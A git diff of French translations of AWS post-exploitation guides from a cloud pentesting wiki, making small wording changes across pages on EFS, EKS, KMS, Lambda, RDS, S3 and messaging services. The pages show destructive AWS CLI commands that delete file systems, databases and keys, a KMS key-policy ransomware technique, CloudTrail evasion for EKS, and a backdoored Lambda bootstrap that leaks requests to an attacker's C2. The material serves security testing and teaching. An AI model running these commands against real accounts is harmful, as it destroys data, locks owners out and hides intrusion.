-L'instance EC2 aura probablement également la permission `ecr:GetAuthorizationToken` lui permettant de **télécharger des images** (vous pourriez rechercher des informations sensibles dans celles-ci).
+L'instance EC2 aura probablement la permission `ecr:GetAuthorizationToken` lui permettant de **télécharger des images** (vous pourriez rechercher des informations sensibles dans celles-ci).
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
index d5f8eeb70..099784b57 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
@@ -20,7 +20,7 @@ aws efs delete-mount-target --mount-target-id 
 
 ### `elasticfilesystem:DeleteFileSystem`
 
-Un attaquant pourrait supprimer un système de fichiers EFS entier, ce qui pourrait entraîner une perte de données et affecter les applications s'appuyant sur le système de fichiers.
+Un attaquant pourrait supprimer un système de fichiers EFS entier, ce qui pourrait entraîner une perte de données et affecter les applications dépendant du système de fichiers.
 ```perl
 aws efs delete-file-system --file-system-id 
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
index d23ce9371..db92a606e 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
@@ -25,7 +25,7 @@ aws eks update-kubeconfig --name aws-eks-dev
 
 Si vous pouvez **obtenir un token** avec **`aws eks get-token --name `** mais que vous n'avez pas les permissions pour obtenir les informations du cluster (describeCluster), vous pourriez **préparer votre propre `~/.kube/config`**. Cependant, avec le token, vous avez toujours besoin de l'**url endpoint pour vous connecter** (si vous avez réussi à obtenir un token JWT d'un pod lisez [ici](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) et du **nom du cluster**.
 
-Dans mon cas, je n'ai pas trouvé l'info dans les logs CloudWatch, mais j'ai **trouvé dans les userData des LaunchTemplates** et dans les **machines EC2 dans les userData aussi**. Vous pouvez voir cette info dans **userData** facilement, par exemple dans l'exemple suivant (le nom du cluster était cluster-name) :
+Dans mon cas, je n'ai pas trouvé l'info dans les logs CloudWatch, mais j'ai **trouvé dans les userData des LaunchTemplates** et dans les **machines EC2 dans userData aussi**. Vous pouvez voir cette info dans **userData** facilement, par exemple dans l'exemple suivant (le nom du cluster était cluster-name) :
 ```bash
 API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
 
@@ -72,9 +72,9 @@ provideClusterInfo: false
 
 ### D'AWS à Kubernetes
 
-Le **créateur** du **cluster EKS** va **TOUJOURS** pouvoir accéder à la partie du cluster kubernetes du groupe **`system:masters`** (admin k8s). Au moment de la rédaction de ce document, il n'y a **aucun moyen direct** de savoir **qui a créé** le cluster (vous pouvez vérifier CloudTrail). Et il n'y a **aucun moyen** de **supprimer** ce **privilège**.
+Le **créateur** du **cluster EKS** sera **TOUJOURS** capable d'accéder à la partie du cluster kubernetes du groupe **`system:masters`** (admin k8s). Au moment de la rédaction de ce document, il n'y a **aucun moyen direct** de savoir **qui a créé** le cluster (vous pouvez vérifier CloudTrail). Et il n'y a **aucun moyen** de **supprimer** ce **privilège**.
 
-La façon de donner **accès à plus d'utilisateurs ou de rôles AWS IAM** sur K8s est d'utiliser le **configmap** **`aws-auth`**.
+La façon de donner **accès à plus d'utilisateurs ou de rôles AWS IAM sur K8s** est d'utiliser le **configmap** **`aws-auth`**.
 
 > [!WARNING]
 > Par conséquent, toute personne ayant un **accès en écriture** sur le config map **`aws-auth`** pourra **compromettre l'ensemble du cluster**.
@@ -87,13 +87,13 @@ Vérifiez aussi [**ce post génial**](https://blog.lightspin.io/exploiting-eks-a
 
 Il est possible de permettre une **authentification OpenID pour le compte de service kubernetes** afin de leur permettre d'assumer des rôles dans AWS. Apprenez comment [**cela fonctionne sur cette page**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
 
-### OBTENIR le point de terminaison de l'API du serveur à partir d'un jeton JWT
+### OBTENIR le point de terminaison de l'API Server à partir d'un jeton JWT
 
 En décodant le jeton JWT, nous obtenons l'ID du cluster et aussi la région. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Sachant que le format standard pour l'URL EKS est
 ```bash
 https://...eks.amazonaws.com
 ```
-Je n'ai trouvé aucune documentation qui explique les critères pour les 'deux caractères' et le 'nombre'. Mais en faisant quelques tests de mon côté, je vois que ceux-ci reviennent :
+Je n'ai trouvé aucune documentation qui explique les critères pour les 'deux caractères' et le 'nombre'. Mais en faisant quelques tests de mon côté, je vois que ceux-ci reviennent souvent :
 
 - gr7
 - yl4
@@ -114,7 +114,7 @@ for comb in product(letter_combinations, number_combinations)
 with open('out.txt', 'w') as f:
 f.write('\n'.join(result))
 ```
-Alors avec wfuzz
+Ensuite avec wfuzz
 ```bash
 wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com
 ```
@@ -123,11 +123,11 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws
 
 ### Contournement de CloudTrail
 
-Si un attaquant obtient les identifiants d'un AWS avec **permission sur un EKS**. Si l'attaquant configure son propre **`kubeconfig`** (sans appeler **`update-kubeconfig`**) comme expliqué précédemment, le **`get-token`** ne génère pas de journaux dans Cloudtrail car il n'interagit pas avec l'API AWS (il crée simplement le jeton localement).
+Si un attaquant obtient des identifiants d'un AWS avec **permission sur un EKS**. Si l'attaquant configure son propre **`kubeconfig`** (sans appeler **`update-kubeconfig`**) comme expliqué précédemment, le **`get-token`** ne génère pas de journaux dans Cloudtrail car il n'interagit pas avec l'API AWS (il crée simplement le token localement).
 
 Ainsi, lorsque l'attaquant communique avec le cluster EKS, **cloudtrail ne journalisera rien lié à l'utilisateur volé et y accédant**.
 
-Notez que le **cluster EKS pourrait avoir des journaux activés** qui enregistreront cet accès (bien qu'ils soient désactivés par défaut).
+Notez que le **cluster EKS pourrait avoir des journaux activés** qui enregistreront cet accès (bien que, par défaut, ils soient désactivés).
 
 ### Rançon EKS ?
 
@@ -138,6 +138,6 @@ Donc, si un **attaquant compromet un cluster en utilisant fargate** et **supprim
 > [!TIP]
 > Notez que si le cluster utilisait des **VM EC2**, il pourrait être possible d'obtenir des privilèges d'administrateur depuis le **Node** et de récupérer le cluster.
 >
-> En fait, si le cluster utilise Fargate, vous pourriez EC2 nodes ou déplacer tout vers EC2 vers le cluster et le récupérer en accédant aux jetons dans le nœud.
+> En fait, si le cluster utilise Fargate, vous pourriez EC2 nodes ou déplacer tout vers EC2 vers le cluster et le récupérer en accédant aux tokens dans le node.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
index 7af4a09ae..ca464126f 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
@@ -19,7 +19,7 @@ Un attaquant avec la permission `elasticbeanstalk:DeleteApplicationVersion` peut
 ```bash
 aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
 ```
-**Impact potentiel** : Interruption du déploiement de l'application et perte potentielle de versions d'application.
+**Impact potentiel** : Interruption du déploiement de l'application et perte potentielle des versions de l'application.
 
 ### `elasticbeanstalk:TerminateEnvironment`
 
@@ -37,7 +37,7 @@ aws elasticbeanstalk terminate-environment --environment-name my-existing-env
 > [!NOTE]
 > TODO : Tester si d'autres autorisations sont nécessaires pour cela
 
-Un attaquant ayant la permission `elasticbeanstalk:DeleteApplication` peut **supprimer une application Elastic Beanstalk entière**, y compris toutes ses versions et environnements. Cette action pourrait entraîner une perte significative de ressources et de configurations de l'application si elles ne sont pas sauvegardées.
+Un attaquant ayant l'autorisation `elasticbeanstalk:DeleteApplication` peut **supprimer une application Elastic Beanstalk entière**, y compris toutes ses versions et environnements. Cette action pourrait entraîner une perte significative de ressources et de configurations de l'application si elles ne sont pas sauvegardées.
 ```bash
 aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
 ```
@@ -59,12 +59,12 @@ aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1
 > [!NOTE]
 > TODO : Tester si d'autres autorisations sont nécessaires pour cela
 
-Un attaquant avec les autorisations `elasticbeanstalk:AddTags` et `elasticbeanstalk:RemoveTags` peut **ajouter ou supprimer des balises sur les ressources Elastic Beanstalk**. Cette action pourrait entraîner une allocation incorrecte des ressources, une facturation ou une gestion des ressources.
+Un attaquant disposant des autorisations `elasticbeanstalk:AddTags` et `elasticbeanstalk:RemoveTags` peut **ajouter ou supprimer des balises sur les ressources Elastic Beanstalk**. Cette action pourrait entraîner une allocation incorrecte des ressources, une facturation ou une gestion des ressources.
 ```bash
 aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
 
 aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
 ```
-**Impact potentiel** : Allocation incorrecte des ressources, facturation ou gestion des ressources en raison de balises ajoutées ou supprimées.
+**Impact potentiel** : Allocation incorrecte des ressources, facturation ou gestion des ressources en raison de l'ajout ou de la suppression d'étiquettes.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
index 85dc111b5..70fe5cd3a 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
@@ -39,7 +39,7 @@ Exemple :
 }
 ```
 > [!WARNING]
-> Pour qu'un attaquant exploite un député confus, il devra trouver d'une manière ou d'une autre si les principaux du compte actuel peuvent usurper des rôles dans d'autres comptes.
+> Pour qu'un attaquant exploite un deputy confus, il devra trouver d'une manière ou d'une autre si les principaux du compte actuel peuvent usurper des rôles dans d'autres comptes.
 
 ### Confiances inattendues
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
index 96ca2b014..180bbfb1c 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
@@ -14,7 +14,7 @@ Pour plus d'informations, consultez :
 
 `fileb://` et `file://` sont des schémas URI utilisés dans les commandes AWS CLI pour spécifier le chemin vers des fichiers locaux :
 
-- `fileb://:` Lit le fichier en mode binaire, couramment utilisé pour les fichiers non textuels.
+- `fileb://:` Lit le fichier en mode binaire, couramment utilisé pour les fichiers non texte.
 - `file://:` Lit le fichier en mode texte, généralement utilisé pour des fichiers texte brut, des scripts ou du JSON qui n'a pas d'exigences d'encodage spéciales.
 
 > [!TIP]
@@ -38,7 +38,7 @@ aws kms decrypt \
 --query Plaintext | base64 \
 --decode
 ```
-- Utiliser une **clé** **asymétrique** :
+- Utiliser une clé **asymétrique** :
 ```bash
 # Encrypt data
 aws kms encrypt \
@@ -62,12 +62,12 @@ aws kms decrypt \
 
 Un attaquant ayant un accès privilégié sur KMS pourrait modifier la politique KMS des clés et **accorder à son compte l'accès à celles-ci**, supprimant l'accès accordé au compte légitime.
 
-Ainsi, les utilisateurs du compte légitime ne pourront accéder à aucune information de service qui a été chiffrée avec ces clés, créant un ransomware facile mais efficace sur le compte.
+Ainsi, les utilisateurs du compte légitime ne pourront accéder à aucune information de tout service qui a été chiffré avec ces clés, créant un ransomware facile mais efficace sur le compte.
 
 > [!WARNING]
 > Notez que **les clés gérées par AWS ne sont pas affectées** par cette attaque, seulement **les clés gérées par le client**.
 
-> Notez également la nécessité d'utiliser le paramètre **`--bypass-policy-lockout-safety-check`** (l'absence de cette option dans la console web rend cette attaque uniquement possible depuis la CLI).
+> Notez également la nécessité d'utiliser le paramètre **`--bypass-policy-lockout-safety-check`** (l'absence de cette option dans la console web rend cette attaque uniquement possible depuis le CLI).
 ```bash
 # Force policy change
 aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
@@ -92,7 +92,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
 }
 ```
 > [!CAUTION]
-> Notez que si vous modifiez cette politique et que vous ne donnez l'accès qu'à un compte externe, puis que depuis ce compte externe vous essayez de définir une nouvelle politique pour **redonner l'accès au compte d'origine, vous ne pourrez pas**.
+> Notez que si vous modifiez cette politique et que vous ne donnez l'accès qu'à un compte externe, puis que depuis ce compte externe vous essayez de définir une nouvelle politique pour **rendre l'accès au compte d'origine, vous ne pourrez pas**.
 
 

 
@@ -102,7 +102,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
 
 Il existe une autre façon d'effectuer un ransomware KMS global, qui impliquerait les étapes suivantes :
 
-- Créer une nouvelle **clé avec un matériel de clé** importé par l'attaquant
+- Créer une **nouvelle clé avec un matériel de clé** importé par l'attaquant
 - **Ré-encrypter les anciennes données** chiffrées avec la version précédente avec la nouvelle.
 - **Supprimer la clé KMS**
 - Maintenant, seul l'attaquant, qui possède le matériel de clé d'origine, pourrait être en mesure de déchiffrer les données chiffrées
@@ -118,7 +118,7 @@ aws kms schedule-key-deletion \
 --pending-window-in-days 7
 ```
 > [!CAUTION]
-> Notez qu'AWS **empêche désormais les actions précédentes d'être effectuées à partir d'un compte croisé :**
+> Notez qu'AWS **empêche désormais les actions précédentes d'être effectuées depuis un compte croisé :**
 
 

 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
index ba0327b3e..3711d0227 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
 
 ### Voler les Requêtes URL Lambda des Autres
 
-Si un attaquant parvient à obtenir un RCE à l'intérieur d'une Lambda, il pourra voler les requêtes HTTP d'autres utilisateurs vers la lambda. Si les requêtes contiennent des informations sensibles (cookies, identifiants...), il pourra les voler.
+Si un attaquant parvient d'une manière ou d'une autre à obtenir un RCE à l'intérieur d'une Lambda, il pourra voler les requêtes HTTP d'autres utilisateurs vers la lambda. Si les requêtes contiennent des informations sensibles (cookies, identifiants...), il pourra les voler.
 
 {{#ref}}
 aws-warm-lambda-persistence.md
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
index 302dddb70..ec0b8f2a8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -11,20 +11,20 @@
 - **`/2018-06-01/runtime/invocation/next`** – obtenir le prochain événement d'invocation
 - **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – retourner la réponse du gestionnaire pour l'invocation
 - **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – retourner une erreur d'exécution
-3. **bootstrap.py** a une boucle récupérant les invocations du processus init et appelle le code de l'utilisateur pour les gérer (**`/next`**).
+3. **bootstrap.py** a une boucle récupérant les invocations du processus init et appelle le code des utilisateurs pour les gérer (**`/next`**).
 4. Enfin, **bootstrap.py** envoie au processus init la **réponse**
 
-Notez que bootstrap charge le code de l'utilisateur en tant que module, donc toute exécution de code effectuée par le code de l'utilisateur se produit en réalité dans ce processus.
+Notez que bootstrap charge le code utilisateur en tant que module, donc toute exécution de code effectuée par le code des utilisateurs se produit en réalité dans ce processus.
 
 ## Voler des requêtes Lambda
 
-L'objectif de cette attaque est de faire exécuter au code de l'utilisateur un processus **`bootstrap.py`** malveillant à l'intérieur du processus **`bootstrap.py`** qui gère la requête vulnérable. De cette manière, le processus **bootstrap malveillant** commencera à **communiquer avec le processus init** pour gérer les requêtes pendant que le bootstrap **légitime** est **piégé** à exécuter le malveillant, donc il ne demandera pas de requêtes au processus init.
+L'objectif de cette attaque est de faire exécuter un processus **`bootstrap.py`** malveillant par le code des utilisateurs à l'intérieur du processus **`bootstrap.py`** qui gère la requête vulnérable. De cette manière, le processus **bootstrap malveillant** commencera à **communiquer avec le processus init** pour gérer les requêtes pendant que le bootstrap **légitime** est **piégé** à exécuter le malveillant, donc il ne demandera pas de requêtes au processus init.
 
 C'est une tâche simple à réaliser car le code de l'utilisateur est exécuté par le processus **`bootstrap.py`** légitime. Ainsi, l'attaquant pourrait :
 
 - **Envoyer un faux résultat de l'invocation actuelle au processus init**, de sorte que init pense que le processus bootstrap attend plus d'invocations.
 - Une requête doit être envoyée à **`/${invoke-id}/response`**
-- L'invoke-id peut être obtenu à partir de la pile du processus **`bootstrap.py`** légitime en utilisant le module python [**inspect**](https://docs.python.org/3/library/inspect.html) (comme [proposé ici](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) ou simplement en le demandant à nouveau à **`/2018-06-01/runtime/invocation/next`** (comme [proposé ici](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
+- L'invoke-id peut être obtenu à partir de la pile du processus **`bootstrap.py`** légitime en utilisant le module python [**inspect**](https://docs.python.org/3/library/inspect.html) (comme [proposé ici](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) ou en le demandant à nouveau à **`/2018-06-01/runtime/invocation/next`** (comme [proposé ici](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
 - Exécuter un **`boostrap.py`** malveillant qui gérera les prochaines invocations
 - Pour des raisons de discrétion, il est possible d'envoyer les paramètres d'invocation lambda à un C2 contrôlé par l'attaquant et ensuite de gérer les requêtes comme d'habitude.
 - Pour cette attaque, il suffit d'obtenir le code original de **`bootstrap.py`** du système ou de [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), d'ajouter le code malveillant et de l'exécuter à partir de l'invocation lambda actuelle.
@@ -32,7 +32,7 @@ C'est une tâche simple à réaliser car le code de l'utilisateur est exécuté
 ### Étapes de l'attaque
 
 1. Trouver une vulnérabilité **RCE**.
-2. Générer un **bootstrap** **malveillant** (par exemple [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
+2. Générer un **bootstrap** **malveillant** (par exemple, [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
 3. **Exécuter** le bootstrap malveillant.
 
 Vous pouvez facilement effectuer ces actions en exécutant :
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
index b3a013117..111ea7b11 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
@@ -16,7 +16,7 @@ Si la DB a des instantanés, vous pourriez être en mesure de **trouver des info
 
 ### Restaurer les instantanés d'instance
 
-Les instantanés d'instance peuvent contenir **des informations sensibles** d'instances déjà supprimées ou des informations sensibles qui sont supprimées dans l'instance actuelle. **Créez de nouvelles instances à partir des instantanés** et vérifiez-les.\
+Les instantanés d'instance peuvent contenir des **informations sensibles** d'instances déjà supprimées ou des informations sensibles qui sont supprimées dans l'instance actuelle. **Créez de nouvelles instances à partir des instantanés** et vérifiez-les.\
 Ou **exportez l'instantané vers un AMI dans EC2** et suivez les étapes d'une instance EC2 typique.
 
 ### Accéder à des informations sensibles
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
index 2c0b7fcaf..36cdba199 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
 
 ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
 
-Si l'attaquant a suffisamment de permissions, il pourrait rendre une **DB accessible au public** en créant un instantané de la DB, puis une DB accessible au public à partir de l'instantané.
+Si l'attaquant a suffisamment de permissions, il pourrait rendre une **DB accessible publiquement** en créant un instantané de la DB, puis une DB accessible publiquement à partir de l'instantané.
 ```bash
 aws rds describe-db-instances # Get DB identifier
 
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
 ```
 ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
 
-Un attaquant avec ces permissions pourrait **créer un instantané d'une DB** et le rendre **publiquement** **disponible**. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de cet instantané.
+Un attaquant avec ces permissions pourrait **créer un snapshot d'une DB** et le rendre **publiquement** **disponible**. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de ce snapshot.
 
-Si l'attaquant **n'a pas le `rds:CreateDBSnapshot`**, il pourrait tout de même rendre **autres** instantanés créés **publics**.
+Si l'attaquant **n'a pas le `rds:CreateDBSnapshot`**, il pourrait tout de même rendre **autres** snapshots créés **publics**.
 ```bash
 # create snapshot
 aws rds create-db-snapshot --db-instance-identifier  --db-snapshot-identifier 
@@ -57,11 +57,11 @@ Un attaquant avec la permission `rds:DownloadDBLogFilePortion` peut **téléchar
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
-**Impact potentiel** : Accès à des informations sensibles ou actions non autorisées utilisant des identifiants compromis.
+**Impact potentiel** : Accès à des informations sensibles ou actions non autorisées en utilisant des identifiants compromis.
 
 ### `rds:DeleteDBInstance`
 
-Un attaquant avec ces permissions peut **DoS les instances RDS existantes**.
+Un attaquant avec ces autorisations peut **DoS les instances RDS existantes**.
 ```bash
 # Delete
 aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
@@ -71,9 +71,9 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
 ### `rds:StartExportTask`
 
 > [!NOTE]
-> À faire : Tester
+> TODO : Tester
 
-Un attaquant ayant cette autorisation peut **exporter un instantané d'instance RDS vers un bucket S3**. Si l'attaquant a le contrôle sur le bucket S3 de destination, il peut potentiellement accéder à des données sensibles dans l'instantané exporté.
+Un attaquant disposant de cette autorisation peut **exporter un instantané d'instance RDS vers un bucket S3**. Si l'attaquant a le contrôle sur le bucket S3 de destination, il peut potentiellement accéder à des données sensibles dans l'instantané exporté.
 ```bash
 aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
index 0019957d0..7bc640e1d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
@@ -31,7 +31,7 @@ En utilisant l'API AWS, l'attaquant **remplace chaque objet dans le bucket par u
 
 Pour ajouter une pression supplémentaire, l'attaquant planifie la suppression de la clé KMS utilisée dans l'attaque. Cela donne à la cible une fenêtre de 7 jours pour récupérer ses données avant que la clé ne soit supprimée et que les données ne deviennent définitivement perdues.
 
-Enfin, l'attaquant pourrait télécharger un fichier final, généralement nommé "ransom-note.txt", qui contient des instructions pour la cible sur la façon de récupérer ses fichiers. Ce fichier est téléchargé sans chiffrement, probablement pour attirer l'attention de la cible et lui faire prendre conscience de l'attaque ransomware.
+Enfin, l'attaquant pourrait télécharger un fichier final, généralement nommé "ransom-note.txt", qui contient des instructions pour la cible sur la façon de récupérer ses fichiers. Ce fichier est téléchargé sans chiffrement, probablement pour attirer l'attention de la cible et lui faire prendre conscience de l'attaque par ransomware.
 
 **Pour plus d'infos** [**consultez la recherche originale**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
index e9d4a8f56..26334d87e 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
@@ -17,7 +17,7 @@ Envoyer un email.
 aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
 aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
 ```
-Still to test.
+Encore à tester.
 
 ### `ses:SendRawEmail`
 
@@ -31,13 +31,15 @@ Envoyer un e-mail basé sur un modèle.
 ```bash
 aws ses  send-templated-email --source  --destination  --template 
 ```
+Encore à tester.
+
 ### `ses:SendBulkTemplatedEmail`
 
 Envoyer un e-mail à plusieurs destinataires
 ```bash
 aws ses send-bulk-templated-email --source  --template 
 ```
-Still to test.
+Encore à tester.
 
 ### `ses:SendBulkEmail`
 
@@ -58,6 +60,6 @@ Cela enverra un e-mail de vérification personnalisé. Vous pourriez également
 aws ses send-custom-verification-email --email-address  --template-name 
 aws sesv2 send-custom-verification-email --email-address  --template-name 
 ```
-Still to test.
+Toujours à tester.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
index 83d7d0a97..a9dd704bb 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
@@ -45,11 +45,11 @@ Un attaquant pourrait s'abonner ou se désabonner d'un sujet SNS, pouvant ainsi
 aws sns subscribe --topic-arn  --protocol  --endpoint 
 aws sns unsubscribe --subscription-arn 
 ```
-**Impact potentiel** : Accès non autorisé aux messages, interruption de service pour les applications dépendant du sujet affecté.
+**Impact potentiel** : Accès non autorisé aux messages, interruption de service pour les applications s'appuyant sur le sujet affecté.
 
 ### `sns:AddPermission` , `sns:RemovePermission`
 
-Un attaquant pourrait accorder à des utilisateurs ou services non autorisés l'accès à un sujet SNS, ou révoquer les autorisations pour des utilisateurs légitimes, provoquant des interruptions dans le fonctionnement normal des applications qui dépendent du sujet.
+Un attaquant pourrait accorder à des utilisateurs ou services non autorisés l'accès à un sujet SNS, ou révoquer les autorisations pour des utilisateurs légitimes, provoquant des perturbations dans le fonctionnement normal des applications qui dépendent du sujet.
 ```css
 aws sns add-permission --topic-arn  --label  --aws-account-id  --action-name 
 aws sns remove-permission --topic-arn  --label 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
index d12ad3fe7..10005cdc8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
@@ -31,7 +31,7 @@ aws sqs change-message-visibility --queue-url  --receipt-handle  -
 
 ### `sqs:DeleteQueue`
 
-Un attaquant pourrait supprimer une file d'attente SQS entière, entraînant une perte de messages et impactant les applications s'appuyant sur la file d'attente.
+Un attaquant pourrait supprimer une file d'attente SQS entière, entraînant une perte de messages et impactant les applications dépendant de la file d'attente.
 ```arduino
 Copy codeaws sqs delete-queue --queue-url 
 ```
@@ -55,7 +55,7 @@ aws sqs set-queue-attributes --queue-url  --attributes 
 
 ### `sqs:TagQueue` , `sqs:UntagQueue`
 
-Un attaquant pourrait ajouter, modifier ou supprimer des étiquettes des ressources SQS, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur les étiquettes.
+Un attaquant pourrait ajouter, modifier ou supprimer des étiquettes des ressources SQS, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur des étiquettes.
